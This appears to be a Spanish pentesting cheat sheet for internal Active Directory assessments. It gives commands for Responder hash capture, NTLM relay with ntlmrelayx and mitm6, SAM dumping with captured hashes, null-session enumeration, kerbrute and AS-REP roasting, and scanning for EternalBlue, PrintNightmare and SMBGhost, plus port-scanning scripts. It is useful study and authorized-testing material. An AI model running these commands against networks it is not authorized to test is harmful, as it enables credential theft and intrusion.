Responder

Modo capturar hashes

bash

sudo responder -I eth0 -wdF

ls -la /usr/share/responder/logs

Modo relay

bash

nxc smb ip/24 --gen-relay-list relay.txt

bash

sudo nano /etc/responder/Responder.conf

Ponemos en OFF SMB y HTTP

bash

sudo responder -I eth0 -FPv

sudo impacket-ntlmrelayx.py  -tf relay.txt -smb2support

bash

nxc smb IP/24 -U USER -H HASH  --local-auth --sam

Modo relay IPV6

bash

sudo python3 mitm6.py -d DOMAIN

bash

impacket-ntlmrelayx -6 -wh 10.17.0.213 -tf formated_relay.txt -socks -debug -smb2support

Filtrar por hashes distintos

bash

cat /usr/share/responder/logs/*.txt | grep '::' | awk -F':' '!vistos[$1]++'

Extraer usuarios válidos de los hashes

bash

cat /usr/share/responder/logs | grep '::' | awk -F':' '!vistos[$1]++' | awk '{print $1}' | sort | uniq | grep -vE ',|\/|-|#'

Ver Host activos

bash

sudo arp-scan -l | awk '/^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+/ {print $1}' >> ips.txt
sudo nmap -sn  10.17.0.0/24 -oG - | awk '/Up$/{print $2}' >> ips.txt
cat ips.txt | sort | uniq > ips2.txt

smb.txt

bash

nxc smb -t 10.17.0.0/24

Nmap específico por puertos

bash

port=21 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"

bash

port=21; sudo nmap -p$port -iL $port.txt -sCV -oN "${port}_scan.txt"

SMB null session

bash

nxc smb 445.txt -u '' -p '' | grep '\[+\]'
nxc smb 445.txt -u '' -p '' --shares
smbmap -u 'null' --host-file smb_null.txt
smbmap -u '' --host-file smb_null.txt
smbclient -L 10.17.0.229 -N
smbclient -L 10.17.0.229 -N -m SMB3
smbclient -L 10.17.0.229 -N -m SMB2

RPC null session

bash

while read ip; do
	echo "Probando null session RPC en $ip "
	rpcclient -U "" $ip -c "enumdomusers" && echo "Null session permitida en $ip" || echo "No null session en $ip"
done < 139.txt

bash

while read ip; do\n  echo "Probando null session RPC en $ip"\n  impacket-lookupsid anonymous@DOMAIN -target-ip $ip -no-pass && echo "Null session permitida en $ip" || echo "No null session en $ip"\ndone < 139.txt

RDP, comprobar NLA

bash

nmap -p 3389 -iL 3389.txt --script=rdp-enum-encryption
nxc rdp --nla-screenshot 3389.txt | grep "nla:False"
ls -lh /home/user/.nxc/screenshots/
rdesktop -u "" -p "" IP

LDAP probar consultas anónimas

BASH

ldapsearch -x -H ldap://DOMAIN -s base  -b "" "(objectClass=*)"
ldapsearch -x -H ldap://DOMAIN -s base  -b "DC=,DC=" "(objectClass=*)"

Webs

bash

port=80 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=443 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=8080 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=8443 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=8000 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=8888 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=9090 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=3000 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
port=5000 ; nmap -p $port $range -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"

bash

awk '{print "http://"$0":80"}' 80.txt >> urls.txt
awk '{print "http://"$0":8080"}' 8080.txt >> urls.txt
awk '{print "https://"$0":443"}' 443.txt >> urls.txt
awk '{print "https://"$0":8443"}' 8443.txt >> urls.txt
awk '{print "http://"$0":8000"}' 8000.txt >> urls.txt
awk '{print "http://"$0":8888"}' 8888.txt >> urls.txt
awk '{print "http://"$0":9090"}' 9090.txt >> urls.txt
awk '{print "http://"$0":3000"}' 3000.txt >> urls.txt
awk '{print "http://"$0":5000"}' 5000.txt >> urls.txt

bash

sudo apt install unzip -y
wget https://github.com/projectdiscovery/httpx/releases/download/v1.7.1/httpx_1.7.1_linux_amd64.zip
unzip httpx-linux-amd64.zip
chmod +x httpx-linux-amd64
sudo mv httpx-linux-amd64 /usr/local/bin/httpx

/usr/local/bin/httpx -l urls.txt -sc -title -t 50 -timeout 5

Listado de usuarios válidos

bash

./kerbrute userenum -d DOMAIN kerbrute_wordlist.txt 

impacket-GetNPUsers DOMAIN/ -no-pass -usersfile valid_users.txt -dc-ip IP

Wordlist para hacer password spraying https://github.com/attackdebris/kerberos_enum_userlists.git

Software vulnerable

mssql

bash

cat mssql_targeted | grep -E 'Nmap scan report|name: |number: ' | grep -v 'Instance' > vulnerable_mssql.txt

ssh

bash

awk '/Nmap scan report for/ {ip=$NF} /tcp/ && /open/ && /ssh/ {print ip, substr($0, index($0, $4))}' 22_targeted > vulnerable_ssh.txt

bash

python3 ssh-audit.py -T ../nmap/22.txt | \
awk '
/\(gen\)/ { print $0; next }
/\[fail\]/ && $0 !~ /U\.S\. National Security/ { print "\t" $0 }
' | grep -v 'compression'

postgres

bash

nmap -p 5432 $range -sS --open -oG - | awk '/5432\/open/ {print $2}' > 5432.txt

Puertos típicos

Puerto	Servicio común	Riesgos frecuentes / Exploits conocidos
21	FTP	Contraseñas en texto plano, anon login, RCE (vsftpd backdoor, etc.)
22	SSH	Bruteforce, versiones viejas de OpenSSH (7.x, 8.x) con CVEs
23	Telnet	Texto plano, acceso sin cifrar, default creds
25	SMTP	Relay abierto, RCE por buffer overflow
53	DNS	Cache poisoning, DoS, zone transfer
80	HTTP	Web vulns (LFI, RCE, XSS, SQLi), paneles sin auth
110	POP3	Texto plano, credenciales expuestas
135	RPC	Windows RCE (MS03-026, DCOM, etc.)
139	NetBIOS	Enumeración, ataques LLMNR/NetBIOS
143	IMAP	Texto plano, default creds
389	LDAP	Enumeración, credenciales en texto plano
445	SMB	MS17-010 (EternalBlue), RCE, cred capture (Responder)
512-514	R* services	RSH/Rlogin inseguros
3306	MySQL	Default creds, inyecciones
3389	RDP	Bruteforce, BlueKeep (CVE-2019-0708), cred reuse
5432	PostgreSQL	Default users, inyecciones SQL
5900	VNC	Sin autenticación, acceso completo
5985/5986	WinRM	RCE si hay credenciales disponibles
8000-9000	Web apps/dev services	Jenkins, Tomcat, Jupyter, etc. → muchos sin auth por defecto
9200	Elasticsearch	RCE, info leak si sin auth
11211	Memcached	Amplification DDoS

Vuns típicas

Nombre	CVE	Servicio	Descripción	Explotable en Metasploit
EternalBlue	CVE-2017-0144	SMBv1 (445)	RCE por buffer overflow en SMBv1 (Win7, Win2008, XP)	✅ Sí (exploit/windows/smb/ms17_010_eternalblue)
SMBGhost	CVE-2020-0796	SMBv3 (445)	RCE en SMBv3.1.1 (Windows 10/2019)	✅ (scripts y PoCs)
BlueKeep	CVE-2019-0708	RDP (3389)	RCE en Remote Desktop (Win7/Server 2008)	✅ (exploit/windows/rdp/cve_2019_0708_bluekeep_rce)
PrintNightmare	CVE-2021-34527	RPC/Spooler (135/445)	RCE por falla en spooler	✅ (exploit/windows/local/printnightmare)

Escáneres :

bash

nxc smb 10.17.0.0/24 -M eternalblue

bash

nxc smb 10.17.0.0/24 -M printnightmare

bash

nxc smb 10.17.0.0/24 -M smbghost

Creds por defecto

https://github.com/ihebski/DefaultCreds-cheat-sheet.git

multi_nmap.sh

bash

#!/bin/bash

# Comprobar si se pasó el objetivo como argumento
if [ $# -ne 1 ]; then
    echo "Uso: $0 <IP | rango_CIDR | archivo_con_IPs>"
    echo "Ejemplo 1 (Rango):   $0 10.86.4.0/24"
    echo "Ejemplo 2 (Una IP):  $0 192.168.1.50"
    echo "Ejemplo 3 (Archivo): $0 objetivos.txt"
    exit 1
fi

INPUT="$1"

# Determinar si la entrada es un archivo que existe, o una IP/Rango
if [ -f "$INPUT" ]; then
    echo "[+] Archivo detectado. Cargando IPs desde: $INPUT"
    TARGET="-iL $INPUT"
else
    echo "[+] IP o Rango detectado: $INPUT"
    TARGET="$INPUT"
fi

# Top 100 puertos más comunes (TCP)
ports=(20 21 22 23 25 53 67 68 69 80 110 111 123 137 138 139 143 161 162 179 194 443 445 465 514 515 520 546 547 587 631 636 989 990 993 995 1080 1194 1433 1434 1521 1723 1812 1813 2049 2082 2083 2086 2087 2095 2096 3306 3389 3690 4060 4444 5432 5500 5900 6000 6001 6002 6003 6004 6005 6379 6667 7000 7001 8080 8443 8888 9000 9090 10000 11211 27017 28017 50000 49152 49153 49154 49155 49156 49157)

echo ""
echo "=== Escaneo de puertos comunes ==="
for port in "${ports[@]}"; do
    echo "[*] Escaneando puerto $port ..."
    sudo nmap -p $port $TARGET -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
    
    # Si el archivo está vacío (-s comprueba si tiene contenido), lo eliminamos
    if [ ! -s "${port}.txt" ]; then
        rm -f "${port}.txt"
    fi
done
echo "[-] Escaneo de puertos comunes completado."
echo ""

# Puertos web más comunes
web_ports=(80 443 8080 8443 8000 8888 9090 3000 5000)

echo "=== Escaneo de puertos web comunes ==="
for port in "${web_ports[@]}"; do
    echo "[*] Escaneando puerto web $port ..."
    sudo nmap -p $port $TARGET -sS --open -oG - | awk "/${port}\/open/ {print \$2}" > "${port}.txt"
    
    # Misma limpieza para los puertos web
    if [ ! -s "${port}.txt" ]; then
        rm -f "${port}.txt"
    fi
done
echo "[-] Escaneo de puertos web completado."
echo ""

# Generar urls.txt con las IPs encontradas
echo "=== Generando urls.txt ==="
> urls.txt  # limpiar archivo si existe

for port in "${web_ports[@]}"; do
    # Como hemos borrado los vacíos, solo procesamos si el archivo existe (-f)
    if [ -f "${port}.txt" ]; then
        # Asignar HTTPS si es 443 o 8443, de lo contrario usar HTTP
        if [ "$port" == "443" ] || [ "$port" == "8443" ]; then
            protocol="https"
        else
            protocol="http"
        fi
        
        # Escribir en el archivo urls.txt
        awk "{print \"$protocol://\"\$0\":$port\"}" "${port}.txt" >> urls.txt
    fi
done

echo "[+] Archivo urls.txt generado con éxito."

genURLs.sh

Crear listado de posibles webs en el alcance.

bash

#!/bin/bash
# Uso: ./genurls.sh ips.txt puertos.txt > urls.txt
#
# ips.txt admite: IPs sueltas, CIDR (192.168.1.0/24),
#                 rangos completos (192.168.1.1-192.168.1.50)
#                 rangos cortos (192.168.1.1-50)
# puertos.txt: un puerto por línea

set -euo pipefail

INPUT="${1:-}"
PORTS="${2:-}"

if [[ -z "$INPUT" || -z "$PORTS" ]]; then
    echo "Uso: $0 <ips.txt> <puertos.txt>" >&2
    exit 1
fi

if [[ ! -f "$INPUT" ]]; then
    echo "Error: no existe el fichero de IPs: $INPUT" >&2
    exit 1
fi

if [[ ! -f "$PORTS" ]]; then
    echo "Error: no existe el fichero de puertos: $PORTS" >&2
    exit 1
fi

expand_ips() {
    python3 - "$1" <<'PYEOF'
import sys, ipaddress

with open(sys.argv[1]) as f:
    for raw in f:
        line = raw.strip()
        if not line or line.startswith('#'):
            continue
        try:
            if '/' in line:
                for ip in ipaddress.ip_network(line, strict=False):
                    print(ip)
            elif '-' in line:
                start, end = [x.strip() for x in line.split('-', 1)]
                if '.' in end:
                    start_ip = ipaddress.ip_address(start)
                    end_ip = ipaddress.ip_address(end)
                else:
                    parts = start.split('.')
                    parts[-1] = end
                    start_ip = ipaddress.ip_address(start)
                    end_ip = ipaddress.ip_address('.'.join(parts))
                cur = start_ip
                while cur <= end_ip:
                    print(cur)
                    cur += 1
            else:
                print(ipaddress.ip_address(line))
        except Exception as e:
            sys.stderr.write(f"[!] Linea invalida, se omite: {line} ({e})\n")
PYEOF
}

# Cargar puertos en un array (evita reabrir el fichero en cada IP)
mapfile -t PORT_LIST < <(grep -v '^\s*#' "$PORTS" | grep -v '^\s*$')

expand_ips "$INPUT" | while read -r ip; do
    [[ -z "$ip" ]] && continue
    for port in "${PORT_LIST[@]}"; do
        echo "http://${ip}:${port}"
        echo "https://${ip}:${port}"
    done
done

top 100 puertos de webs (se le puede pasar también un top 1000)

flaws.cloud

flaws2.cloud

Fortresses

Machines

AWS machines

Linux machines

Windows machines

Active Directory

NetExec Lab

LeHack2025

Writeup

Access Control

APIs

Authentication

Business Logic

Clickjacking

CORS

Practice

CSRF

DOM-Based

Practice

Theory

Essential Skills

Exams 📝

File Uploads

GraphQL

Practice

Theory

HTTP Host header

HTTP Request Smuggling

Information Disclosure

Insecure Deserialization

JWT

LLMs

NOSQLi

Oauth

Path Traversal

Prototype Pollution

Race Conditions

RCE

SQLi

SSRF

SSTI

Web Cache Deception

Web Cache Poisoning

Practice

Theory

WebSockets

XSS

XXE

Damn insecure and vulnerable App

InsecureBankV2

Theory

CMS

Active Directory

KERBEROS

Responder ​

Webs ​

Listado de usuarios válidos ​

Software vulnerable ​

Puertos típicos ​

Vuns típicas ​

Creds por defecto ​

multi_nmap.sh ​

genURLs.sh ​

Responder

Webs

Listado de usuarios válidos

Software vulnerable

Puertos típicos

Vuns típicas

Creds por defecto

multi_nmap.sh

genURLs.sh